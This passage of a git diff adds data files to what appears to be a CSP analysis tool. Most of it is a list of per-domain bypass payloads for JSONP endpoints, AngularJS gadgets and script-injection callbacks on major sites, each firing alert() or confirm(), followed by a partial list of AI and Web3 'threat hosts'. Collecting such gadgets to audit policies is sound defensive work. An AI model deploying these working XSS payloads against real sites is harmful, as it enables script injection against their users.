id: "forms.hubspot.com-82", + }, + { + domain: "geolocation.onetrust.com", + code: '<script src="https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location/alert"></script>', + technique: "Script Injection", + id: "geolocation.onetrust.com-83", + }, + { + domain: "gist.github.com", + code: '<script src="https://gist.github.com/renniepak/e7afcd7e727e1a0c481d955ba10441a9.json?callback=alert"></script>', + technique: "JSONP", + id: "gist.github.com-84", + }, + { + domain: "global.apis.naver.com", + code: '<script src="https://global.apis.naver.com/commentBox/cbox/web_neo_list_jsonp.json?_callback=alert"></script>', + technique: "JSONP", + id: "global.apis.naver.com-85", + }, + { + domain: "go.dev", + code: '<script src="https://go.dev/blog/.json?jsonp=alert"></script>', + technique: "Script Injection", + id: "go.dev-86", + }, + { + domain: "go.snyk.io", + code: '<script src="https://go.snyk.io/index.php/form/getForm?munchkinId=677-THP-415&form=1461&callback=alert"></script>', + technique: "JSONP", + id: "go.snyk.io-87", + }, + { + domain: "graph.facebook.com", + code: '<script src="https://graph.facebook.com/?id=1337&callback=alert"></script>', + technique: "JSONP", + id: "graph.facebook.com-89", + }, + { + domain: "gstatic.com", + code: '<body ng-app ng-csp><script src="//gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "gstatic.com-90", + }, + { + domain: "gstatic.com", + code: "<script src='https://gstatic.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>", + technique: "AngularJS", + id: "gstatic.com-91", + }, + { + domain: "gum.criteo.com", + code: '<script src="https://gum.criteo.com/sync?c=123&r=2&a=1&j=alert"></script>', + technique: "Script Injection", + id: "gum.criteo.com-92", + }, + { + domain: "hcaptcha.com", + code: '<script src="https://hcaptcha.com/1/api.js?onload=alert&render=explicit"></script>', + technique: "Script Injection", + id: "hcaptcha.com-93", + }, + { + domain: "help.afterpay.com", + code: '<script src="https://help.afterpay.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script>', + technique: "Script Injection", + id: "help.afterpay.com-94", + }, + { + domain: "ib.adnxs.com", + code: '<script src="https://ib.adnxs.com/async_usersync?cbfn=alert(1)-"></script>', + technique: "Script Injection", + id: "ib.adnxs.com-95", + }, + { + domain: "info.cloudflare.com", + code: '<script src="https://info.cloudflare.com//index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script>', + technique: "JSONP", + id: "info.cloudflare.com-96", + }, + { + domain: "info.elastic.co", + code: '<script src="https://info.elastic.co/index.php/form/getForm?munchkinId=813-MAM-392&form=6196&callback=alert"></script>', + technique: "JSONP", + id: "info.elastic.co-97", + }, + { + domain: "inno.blob.core.windows.net", + code: '<body ng-app ng-csp><script src="//inno.blob.core.windows.net/new/libs/AngularJS/1.2.1/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>', + technique: "AngularJS", + id: "inno.blob.core.windows.net-98", + }, + { + domain: "investor.coinbase.com", + code: '<script src="https://investor.coinbase.com/feed/People.svc/GetPeopleList?callback=confirm(document.domain);"></script>', + technique: "JSONP", + id: "investor.coinbase.com-99", + }, + { + domain: "ipinfo.io", + code: '<script src="https://ipinfo.io/?format=jsonp&callback=alert"></script>', + technique: "JSONP", + id: "ipinfo.io-100", + }, + { + domain: "itunes.apple.com", + code: '<script src="https://itunes.apple.com/se/rss/toppodcasts/json?callback=alert"></script>', + technique: "JSONP", + id: "itunes.apple.com-101", + }, + { + domain: "js.hcaptcha.com", + code: '<script src="https://js.hcaptcha.com/1/api.js?onload=alert&render=explicit"></script>', + technique: "Script Injection", + id: "js.hcaptcha.com-102", + }, + { + domain: "kbcprod.service-now.com", + code: '<body ng-app ng-csp><script src="https://kbcprod.service-now.com/scripts/angular_includes_1.5.11.jsx"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "kbcprod.service-now.com-103", + }, + { + domain: "kendo.cdn.telerik.com", + code: '<body ng-app ng-csp><script src="https://kendo.cdn.telerik.com/2015.2.805/js/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "kendo.cdn.telerik.com-104", + }, + { + domain: "lghnh-mkt-prod1.campaign.adobe.com", + code: '<script src="https://lghnh-mkt-prod1.campaign.adobe.com/lgh/at_seg_list.jssp?callback=alert(1)-"></script>', + technique: "JSONP", + id: "lghnh-mkt-prod1.campaign.adobe.com-105", + }, + { + domain: "lptag.liveperson.net", + code: '<script src="https://lptag.liveperson.net/lptag/api/account/1/configuration/applications/taglets/.jsonp?v=2.0&cb=alert(1)-"></script>', + technique: "JSONP", + id: "lptag.liveperson.net-106", + }, + { + domain: "links.services.disqus.com", + code: '<script src="https://links.services.disqus.com/api/ping?format=jsonp&key=cfdfcf52dffd0a702a61bad27507376d&loc=http%3A%2F%2Fabcnews.go.com%2Fblogs%2Fhealth%2F2013%2F03%2F21%2F1-in-10-u-s-deaths-blamed-on-salt%2F&subId=2329827&v=1&jsonp=alert"></script>', + technique: "Script Injection", + id: "links.services.disqus.com-107", + }, + { + domain: "locate.pricespider.com", + code: '<script src="https://locate.pricespider.com/?callback=alert(1)"></script>', + technique: "JSONP", + id: "locate.pricespider.com-108", + }, + { + domain: "m.media-amazon.com", + code: '<body ng-app ng-csp><script src="https://m.media-amazon.com/images/I/81cx8O4at9L.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "m.media-amazon.com-109", + }, + { + domain: "mango.buzzfeed.com", + code: '<script src="https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f"></script>', + technique: "JSONP", + id: "mango.buzzfeed.com-110", + }, + { + domain: "maps-api-ssl.google.com", + code: '<script src="https://maps-api-ssl.google.com/maps/api/js?callback=alert(1337)"></script>', + technique: "JSONP", + id: "maps-api-ssl.google.com-111", + }, + { + domain: "maps.google.com", + code: '<script src="https://maps.google.com/maps/api/js?sensor=false&callback=alert(1)"></script>', + technique: "JSONP", + id: "maps.google.com-112", + }, + { + domain: "maps.google.de", + code: '<script src="https://maps.google.de/maps/api/js?sensor=false&callback=alert(1)"></script>', + technique: "JSONP", + id: "maps.google.de-113", + }, + { + domain: "maps.google.lv", + code: '<script src="https://maps.google.lv/maps/api/js?sensor=false&callback=alert(1)"></script>', + technique: "JSONP", + id: "maps.google.lv-114", + }, + { + domain: "maps.google.ru", + code: '<script src="https://maps.google.ru/maps/api/js?sensor=false&callback=alert(1)"></script>', + technique: "JSONP", + id: "maps.google.ru-115", + }, + { + domain: "maps.googleapis.com", + code: '<script src="https://maps.googleapis.com/maps/api/js?callback=alert(1337)"></script>', + technique: "JSONP", + id: "maps.googleapis.com-116", + }, + { + domain: "mc.yandex.ru", + code: '<script src="https://mc.yandex.ru/watch/9528925/1?wmode=5&callback=alert"></script>', + technique: "JSONP", + id: "mc.yandex.ru-117", + }, + { + domain: "nominatim.openstreetmap.org", + code: '<script src="https://nominatim.openstreetmap.org/search?q=&format=json&addressdetails=1&polygon_geojson=1&json_callback=alert"></script>', + technique: "JSONP", + id: "nominatim.openstreetmap.org-118", + }, + { + domain: "oamssoqae.ieee.org", + code: '<script src="https://oamssoqae.ieee.org/ieeevendorsso/ssocookievalidator?callback=alert(1)-"></script>', + technique: "JSONP", + id: "oamssoqae.ieee.org-119", + }, + { + domain: "openexchangerates.org", + code: '<script src="https://openexchangerates.org/api/latest.json?app_id=4a363014b909486b8f49d967b810a6c3&callback=alert(document.domain)"></script>', + technique: "JSONP", + id: "openexchangerates.org-120", + }, + { + domain: "page.gitlab.com", + code: '<script src="https://page.gitlab.com/index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script>', + technique: "JSONP", + id: "page.gitlab.com-121", + }, + { + domain: "partner.googleadservices.com", + code: '<script src="https://partner.googleadservices.com/gampad/cookie.js?domain=x&callback=alert&client=ca-pub-3374367632700222"></script>', + technique: "JSONP", + id: "partner.googleadservices.com-122", + }, + { + domain: "passport.baidu.com", + code: '<script src="https://passport.baidu.com/channel/unicast?callback=alert"></script>', + technique: "JSONP", + id: "passport.baidu.com-123", + }, + { + domain: "pixel.quantserve.com", + code: '<script src="https://pixel.quantserve.com/api/segments.json?callback=alert"></script>', + technique: "JSONP", + id: "pixel.quantserve.com-124", + }, + { + domain: "portal.ayco.com", + code: '<script src="https://portal.ayco.com/publicBundles/angularjs"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "portal.ayco.com-125", + }, + { + domain: "pubads.g.doubleclick.net", + code: '<script src="https://pubads.g.doubleclick.net/gampad/ads?gdfp_req=1&output=json_html&callback=alert&impl=fifs&json_a=1&iu_parts=4215%2Cimdb2.consumer.homepage&enc_prev_ius=%2F0%2F1%2C%2F0%2F1&prev_iu_szs=1008x150%7C1008x200%7C1008x30%7C970x250%7C9x1%2C300x250%7C11x1&cust_params=fv%3D1%26ab%3Df%26bpx%3D1%26c%3D1%26s%3D3075%252C32%26u%3D142752923777%26oe%3Dutf-8"></script>', + technique: "JSONP", + id: "pubads.g.doubleclick.net-126", + }, + { + domain: "public-api.wordpress.com", + code: '<script src="https://public-api.wordpress.com/rest/v1/sites/en.blog.wordpress.com/posts/?number=1&callback=alert"></script>', + technique: "JSONP", + id: "public-api.wordpress.com-127", + }, + { + domain: "query.fqtag.com", + code: '<script src="https://query.fqtag.com/b?callback=alert(1)"></script>', + technique: "JSONP", + id: "query.fqtag.com-128", + }, + { + domain: "r.skimresources.com", + code: '<script src="https://r.skimresources.com/api/?callback=alert"></script>', + technique: "JSONP", + id: "r.skimresources.com-129", + }, + { + domain: "raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com", + code: '<script src="https://raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com/json?callback=alert(1)-"></script>', + technique: "JSONP", + id: "raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com-130", + }, + { + domain: "recaptcha.net", + code: '<script src="https://recaptcha.net/recaptcha/api.js?onload=alert"></script>', + technique: "Script Injection", + id: "recaptcha.net-131", + }, + { + domain: "rentokil-domains.firebaseio.com", + code: '<script src="https://rentokil-domains.firebaseio.com/.json?callback=alert(1)-"></script>', + technique: "JSONP", + id: "rentokil-domains.firebaseio.com-132", + }, + { + domain: "ring.com", + code: '<script src="https://ring.com/partials/consent/sv-SE/strings.json?callback=alert"></script>', + technique: "JSONP", + id: "ring.com-133", + }, + { + domain: "romania.amazon.com", + code: "<body ng-app ng-csp><script src=\"https://romania.amazon.com/app/vendor.min.js\"></script><input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'></body>", + technique: "AngularJS", + id: "romania.amazon.com-134", + }, + { + domain: "s.fqtag.com", + code: '<script src="https://s.fqtag.com/b?callback=alert(1)"></script>', + technique: "JSONP", + id: "s.fqtag.com-135", + }, + { + domain: "s.ytimg.com", + code: '<body ng-app ng-csp><script src="https://s.ytimg.com/yts/jslib/angular.min-vfl8oYsy-.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "s.ytimg.com-136", + }, + { + domain: "search.yahoo.com", + code: '<script src="https://search.yahoo.com/sugg/gossip/gossip-us-ura/?f=1&.crumb=wYtclSpdh3r&output=sd1&command=&pq=&l=1&bm=3&appid=exp-ats1.l7.search.vip.ir2.yahoo.com&t_stmp=1571806738592&nresults=10&bck=1he6d8leq7ddu%26b%3D3%26s%3Dcb&csrcpvid=8wNpljk4LjEYuM1FXaO1vgNfMTk1LgAAAAA5E2a9&vtestid=&mtestid=&spaceId=1197804867&callback=confirm"></script>', + technique: "JSONP", + id: "search.yahoo.com-137", + }, + { + domain: "secure.gravatar.com", + code: '<script src="https://secure.gravatar.com/930fc2e7cd239606c398bff5b5fc12e7.json?callback=alert"></script>', + technique: "JSONP", + id: "secure.gravatar.com-138", + }, + { + domain: "secure.quantserve.com", + code: '<script src="https://secure.quantserve.com/api/segments.json?callback=alert"></script>', + technique: "JSONP", + id: "secure.quantserve.com-139", + }, + { + domain: "securepubads.g.doubleclick.net", + code: '<script src="https://securepubads.g.doubleclick.net/gampad/ads?gdfp_req=1&output=json_html&iu=%2F32173961%2Fdesktop%2Ffrontpage%2Flisting&sz=300x250&url=https%3A%2F%2Fwww.reddit.com%2F&vrg=147&callback=alert"></script>', + technique: "JSONP", + id: "securepubads.g.doubleclick.net-140", + }, + { + domain: "segapi.quantserve.com", + code: '<script src="https://segapi.quantserve.com/api/segments.json?callback=alert"></script>', + technique: "JSONP", + id: "segapi.quantserve.com-141", + }, + { + domain: "server.ethicalads.io", + code: '<script src="https://server.ethicalads.io/api/v1/decision/?publisher=jsbin&ad_types=x&format=jsonp&div_ids=x&callback=alert(1)-"></script>', + technique: "JSONP", + id: "server.ethicalads.io-142", + }, + { + domain: "shop.samsung.com", + code: '<script src="https://shop.samsung.com/br/_v/private/ng/p4v1/getCartCount?callback=alert"></script>', + technique: "JSONP", + id: "shop.samsung.com-143", + }, + { + domain: "smartcaptcha.yandexcloud.net", + code: '<script src="https://smartcaptcha.yandexcloud.net/captcha.js?render=onload&onload=alert"></script>', + technique: "Script Injection", + id: "smartcaptcha.yandexcloud.net-144", + }, + { + domain: "social.yandex.ru", + code: '<script src="https://social.yandex.ru/providers.jsonp?callback=alert"></script>', + technique: "JSONP", + id: "social.yandex.ru-145", + }, + { + domain: "soundcloud.com", + code: '<script src="https://soundcloud.com/oembed?format=js&callback=alert&url=https://soundcloud.com/rich-the-kid/plug-walk-1"></script>', + technique: "JSONP", + id: "soundcloud.com-146", + }, + { + domain: "srv.carbonads.net", + code: '<script src="https://srv.carbonads.net/ads/x.json?callback=alert"></script>', + technique: "JSONP", + id: "srv.carbonads.net-147", + }, + { + domain: "ssl.gstatic.com", + code: '<body ng-app ng-csp><script src="//ssl.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "ssl.gstatic.com-148", + }, + { + domain: "sso.bytedance.com", + code: '<script src="https://sso.bytedance.com/watermark/?callback=alert"></script>', + technique: "JSONP", + id: "sso.bytedance.com-149", + }, + { + domain: "st3.zoom.us", + code: '<script src="https://st3.zoom.us/static/6.2.7600/js/lib/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "st3.zoom.us-150", + }, + { + domain: "static.parastorage.com", + code: '<body ng-app ng-csp><script src="https://static.parastorage.com/services/third-party/angularjs/1.4.5/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "static.parastorage.com-151", + }, + { + domain: "storemapper-herokuapp-com.global.ssl.fastly.net", + code: '<script src="https://storemapper-herokuapp-com.global.ssl.fastly.net/api/users/9223/stores.js?callback=alert(1)-"></script>', + technique: "JSONP", + id: "storemapper-herokuapp-com.global.ssl.fastly.net-152", + }, + { + domain: "suggest.taobao.com", + code: '<script src="https://suggest.taobao.com/sug?callback=alert"></script>', + technique: "JSONP", + id: "suggest.taobao.com-153", + }, + { + domain: "suggestqueries-clients6.youtube.com", + code: '<script src="https://suggestqueries-clients6.youtube.com/complete/search?client=youtube&q=$query&callback=alert"></script>', + technique: "JSONP", + id: "suggestqueries-clients6.youtube.com-154", + }, + { + domain: "support.zendesk.com", + code: '<script src="https://support.zendesk.com/accounts/reminder?callback=alert(window.location)//"></script>', + technique: "JSONP", + id: "support.zendesk.com-155", + }, + { + domain: "sync.im-apps.net", + code: '<script src="https://sync.im-apps.net/imid/segment?callback=alert(1)&token=VXoW9wEaCAYxiIkb8Mzm7Q"></script>', + technique: "JSONP", + id: "sync.im-apps.net-156", + }, + { + domain: "tagmanager.google.com", + code: '<script src="https://tagmanager.google.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script>', + technique: "JSONP", + id: "tagmanager.google.com-157", + }, + { + domain: "thiscanbeanything.zendesk.com", + code: '<script src="https://thiscanbeanything.zendesk.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script>', + technique: "Script Injection", + id: "thiscanbeanything.zendesk.com-158", + }, + { + domain: "translate.google.com", + code: '<script src="https://translate.google.com/translate_a/element.js?cb=alert"></script>', + technique: "JSONP", + id: "translate.google.com-159", + }, + { + domain: "translate.googleapis.com", + code: '<script src="https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();"></script>', + technique: "JSONP", + id: "translate.googleapis.com-160", + }, + { + domain: "translate.yandex.net", + code: '<script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert"></script>', + technique: "JSONP", + id: "translate.yandex.net-161", + }, + { + domain: "tr.indeed.com", + code: '<script src="https://tr.indeed.com/m/newjobs?q=&l=&ts=1734358724474&callback=alert"></script>', + technique: "JSONP", + id: "tr.indeed.com-162", + }, + { + domain: "tr.snapchat.com", + code: '<script src="https://tr.snapchat.com/config/com/\')%7Dcatch(e)%7B%7D%7D()%3balert(1)%2f%2f.js"></script>', + technique: "Script Injection", + id: "tr.snapchat.com-163", + }, + { + domain: "typekit.com", + code: '<script src="https://typekit.com/api/v1/json/libraries/full?callback=alert"></script>', + technique: "JSONP", + id: "typekit.com-164", + }, + { + domain: "udgnoz7mccyaowzp.public.blob.vercel-storage.com", + code: '<script src="https://udgnoz7mccyaowzp.public.blob.vercel-storage.com/a-LAZhjxXucrzBiROqCt4bsY3n6srlWP.js"></script>', + technique: "Script Injection", + id: "udgnoz7mccyaowzp.public.blob.vercel-storage.com-165", + }, + { + domain: "ug.alibaba.com", + code: '<script src="https://ug.alibaba.com/api/ship/read?callback=alert"></script>', + technique: "JSONP", + id: "ug.alibaba.com-166", + }, + { + domain: "uk.indeed.com", + code: '<script src="https://uk.indeed.com/m/newjobs?callback=alert"></script>', + technique: "JSONP", + id: "uk.indeed.com-167", + }, + { + domain: "ulogin.ru", + code: '<script src="https://ulogin.ru/token.php?callback=alert(1337)"></script>', + technique: "JSONP", + id: "ulogin.ru-168", + }, + { + domain: "unpkg.com", + code: '<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "unpkg.com-169", + }, + { + domain: "unpkg.com", + code: '<script src="https://unpkg.com/htmx.org"></script><any hx-trigger="x[1)}),alert(origin)//]">', + technique: "HTMX", + id: "unpkg.com-170", + }, + { + domain: "unpkg.com", + code: '<script src="https://unpkg.com/hyperscript.org"></script><x _="on load alert(1)">', + technique: "Hyperscript", + id: "unpkg.com-171", + }, + { + domain: "urs.pbs.org", + code: '<script src="https://urs.pbs.org/redirect/1/?format=jsonp&callback=alert(1)"></script>', + technique: "JSONP", + id: "urs.pbs.org-172", + }, + { + domain: "vimeo.com", + code: '<script src="https://vimeo.com/api/v2/video/1006042481.json?callback=alert"></script>', + technique: "JSONP", + id: "vimeo.com-173", + }, + { + domain: "visitor-service.tealiumiq.com", + code: '<script src="https://visitor-service.tealiumiq.com/northwesternmutual/main/q?callback=alert(1)"></script>', + technique: "JSONP", + id: "visitor-service.tealiumiq.com-174", + }, + { + domain: "visitor.pixplug.in", + code: '<script src="https://visitor.pixplug.in/jsonp/getdata.php?callback=alert(1)"></script>', + technique: "JSONP", + id: "visitor.pixplug.in-175", + }, + { + domain: "wb.amap.com", + code: '<script src="https://wb.amap.com/channel.php?callback=alert"></script>', + technique: "JSONP", + id: "wb.amap.com-176", + }, + { + domain: "widget.usersnap.com", + code: '<script src="https://widget.usersnap.com/load/d5abc654-0976-45b9-8074-fa5e721db433?onload=alert"></script>', + technique: "Script Injection", + id: "widget.usersnap.com-177", + }, + { + domain: "widgets.pinterest.com", + code: '<script src="https://widgets.pinterest.com/v3/pidgets/boards/ciciwin/hedgehog-squirrel-crafts/pins/?callback=alert"></script>', + technique: "JSONP", + id: "widgets.pinterest.com-178", + }, + { + domain: "wikipedia.org", + code: '<script src="https://en.wikipedia.org/w/api.php?action=opensearch&format=json&limit=5&callback=alert&search=renniepak"></script>', + technique: "JSONP", + id: "wikipedia.org-179", + }, + { + domain: "wordpress.org", + code: '<script src="https://wordpress.org/wp-json/wp/v2/posts/?_jsonp=alert"></script>', + technique: "Script Injection", + id: "wordpress.org-180", + }, + { + domain: "wse.api.here.com", + code: '<script src="https://wse.api.here.com/v8/findsequence2?apiKey=PJy8lvw9xxcCnYDFFsp8IvQB_l7ScobQmQ2xttBWfuQ&jsonCallback=alert(origin);void&mode=TransportModes"></script>', + technique: "Script Injection", + id: "wse.api.here.com-181", + }, + { + domain: "www-api.ibm.com", + code: '<script src="https://www-api.ibm.com/search/typeahead/v1?lang=en&cc=us&query=l&callback=alert"></script>', + technique: "JSONP", + id: "www-api.ibm.com-182", + }, + { + domain: "www.ancestrycdn.com", + code: '<body ng-app ng-csp><script src="https://www.ancestrycdn.com/ui-static/lib/angular/1.2.3/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>', + technique: "AngularJS", + id: "www.ancestrycdn.com-183", + }, + { + domain: "www.bing.com", + code: '<script src="https://www.bing.com/api/maps/mapcontrol?key=AlSfV3wSTlPFqxEdS97v1d1ZK25Qg4OxZerOAjFYQPZwtY4bQqhz4jDRou_kCmbJ&callback=alert"></script>', + technique: "JSONP", + id: "www.bing.com-184", + }, + { + domain: "www.blogger.com", + code: '<script src="https://www.blogger.com/feeds/8063678697117239807/posts/default?callback=alert"></script>', + technique: "JSONP", + id: "www.blogger.com-185", + }, + { + domain: "www.google-analytics.com", + code: '<script src="https://www.google-analytics.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script>', + technique: "JSONP", + id: "www.google-analytics.com-186", + }, + { + domain: "www.google.com", + code: '<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>', + technique: "JSONP", + id: "www.google.com-187", + }, + { + domain: "www.google.com", + code: "<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>", + technique: "AngularJS", + id: "www.google.com-188", + }, + { + domain: "www.googleapis.com", + code: '<script src="https://www.googleapis.com/blogger/v3/blogs/1/posts/1?callback=alert()"></script>', + technique: "JSONP", + id: "www.googleapis.com-189", + }, + { + domain: "www.googleapis.com", + code: '<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"></script>', + technique: "JSONP", + id: "www.googleapis.com-190", + }, + { + domain: "www.googletagmanager.com", + code: '<script src="https://www.googletagmanager.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script>', + technique: "JSONP", + id: "www.googletagmanager.com-191", + }, + { + domain: "www.gstatic.com", + code: '<body ng-app ng-csp><script src="//www.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "www.gstatic.com-192", + }, + { + domain: "www.gstatic.com", + code: "<script src='https://www.gstatic.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>", + technique: "AngularJS", + id: "www.gstatic.com-193", + }, + { + domain: "www.meteoprog.ua", + code: '<script src="https://www.meteoprog.ua/data/weather/informer/Poltava.js?callback=alert(1337)"></script>', + technique: "JSONP", + id: "www.meteoprog.ua-194", + }, + { + domain: "www.microsoft.com", + code: '<script src="https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert"></script>', + technique: "Script Injection", + id: "www.microsoft.com-195", + }, + { + domain: "www.paypal.com", + code: '<script src="https://www.paypal.com/checkoutnow/remembered?callback=alert"></script>', + technique: "JSONP", + id: "www.paypal.com-196", + }, + { + domain: "www.recaptcha.net", + code: '<script src="https://www.recaptcha.net/recaptcha/api.js?onload=alert"></script>', + technique: "Script Injection", + id: "www.recaptcha.net-197", + }, + { + domain: "www.reddit.com", + code: '<script src="https://www.reddit.com/.json?limit=1&jsonp=alert"></script>', + technique: "Script Injection", + id: "www.reddit.com-198", + }, + { + domain: "www.st.com", + code: '<body ng-app ng-csp><script src="https://www.st.com/etc/clientlibs/st-search-cx/stangularjs.min.d9f5c8180af41b5cae710870b6b018fe.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>', + technique: "AngularJS", + id: "www.st.com-199", + }, + { + domain: "www.yastat.net", + code: '<script src="https://www.yastat.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "www.yastat.net-200", + }, + { + domain: "www.yastatic.net", + code: '<script src="https://www.yastatic.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "www.yastatic.net-201", + }, + { + domain: "www.youtube.com", + code: '<script src="https://www.youtube.com/oembed?callback=alert(1)"></script>', + technique: "JSONP", + id: "www.youtube.com-202", + }, + { + domain: "yandex.st", + code: '<script src="https://yandex.st/jquery/1.8.2/jquery.min.js"></script><script src="https://yandex.st/bootstrap/3.0.3/js/bootstrap.min.js"></script><button data-toggle="modal" data-target="$(\'head\').html(\'<script>alert(1)</script>\')">Test XSS</button>', + technique: "Script Injection", + id: "yandex.st-203", + }, + { + domain: "yastat.net", + code: '<script src="https://yastat.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "yastat.net-204", + }, + { + domain: "yastatic.net", + code: '<script src="https://yastatic.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">', + technique: "AngularJS", + id: "yastatic.net-205", + }, + { + domain: "yuedust.yuedu.126.net", + code: '<body ng-app ng-csp><script src="//yuedust.yuedu.126.net/js/components/angular/angular.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == \'window\'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body>', + technique: "AngularJS", + id: "yuedust.yuedu.126.net-206", + }, + { + domain: "yugiohmonstrosdeduelo.blogspot.com", + code: '<script src="https://yugiohmonstrosdeduelo.blogspot.com/feeds/posts/summary?callback=alert"></script>', + technique: "JSONP", + id: "yugiohmonstrosdeduelo.blogspot.com-207", + }, + { + domain: "zhike.help.360.cn", + code: '<script src="https://zhike.help.360.cn/api/v1/robotWindow?callback=alert(1)-"></script>', + technique: "JSONP", + id: "zhike.help.360.cn-208", + }, +]; diff --git a/packages/backend/src/data/checkDefaults.ts b/packages/backend/src/data/checkDefaults.ts new file mode 100644 index 0000000..a9881b3 --- /dev/null +++ b/packages/backend/src/data/checkDefaults.ts @@ -0,0 +1,9 @@ +import { DEFAULT_CHECK_DEFINITIONS } from "shared"; + +export function buildDefaultCheckState(): Record<string, boolean> { + const state: Record<string, boolean> = {}; + for (const checkId of Object.keys(DEFAULT_CHECK_DEFINITIONS)) { + state[checkId] = true; + } + return state; +} diff --git a/packages/backend/src/data/index.ts b/packages/backend/src/data/index.ts new file mode 100644 index 0000000..bb3b350 --- /dev/null +++ b/packages/backend/src/data/index.ts @@ -0,0 +1,5 @@ +export { USER_CONTENT_HOST_PATTERNS } from "./userContentHosts"; +export { VULNERABLE_JS_HOST_ENTRIES } from "./vulnerableJsHosts"; +export { AI_ML_HOSTS, WEB3_HOSTS, JSONP_CAPABLE_HOSTS } from "./threatHosts"; +export { BYPASS_RECORDS } from "./bypassRecords"; +export { buildDefaultCheckState } from "./checkDefaults"; diff --git a/packages/backend/src/data/threatHosts.ts b/packages/backend/src/data/threatHosts.ts new file mode 100644 index 0000000..70078cb --- /dev/null +++ b/packages/backend/src/data/threatHosts.ts @@ -0,0 +1,69 @@ +type ThreatHost = { + domain: string; + risk: string; + severity: string; +}; + +export const AI_ML_HOSTS: ThreatHost[] = [ + { + domain: "api.openai.com", + risk: "AI API - potential data exfiltration", + severity: "medium", + }, + { + domain: "api.anthropic.com", + risk: "AI API - potential sensitive data exposure", + severity: "medium", + }, + { + domain: "huggingface.co", + risk: "ML model hosting - code execution risks", + severity: "medium", + }, + { + domain: "replicate.com", + risk: "ML API service - data privacy concerns", + severity: "medium", + }, + { + domain: "colab.research.google.com", + risk: "Jupyter notebook execution environment", + severity: "high", + }, +]; + +export const WEB3_HOSTS: ThreatHost[] = [ + { + domain: "metamask.io", + risk: "Wallet integration - financial transaction risks", + severity: "high", + }, + { + domain: "walletconnect.org", + risk: "Cross-wallet protocol - authentication bypass", + severity: "high", + }, + { + domain: "uniswap.org", + risk: "DeFi protocol - financial manipulation", + severity: "high", + }, 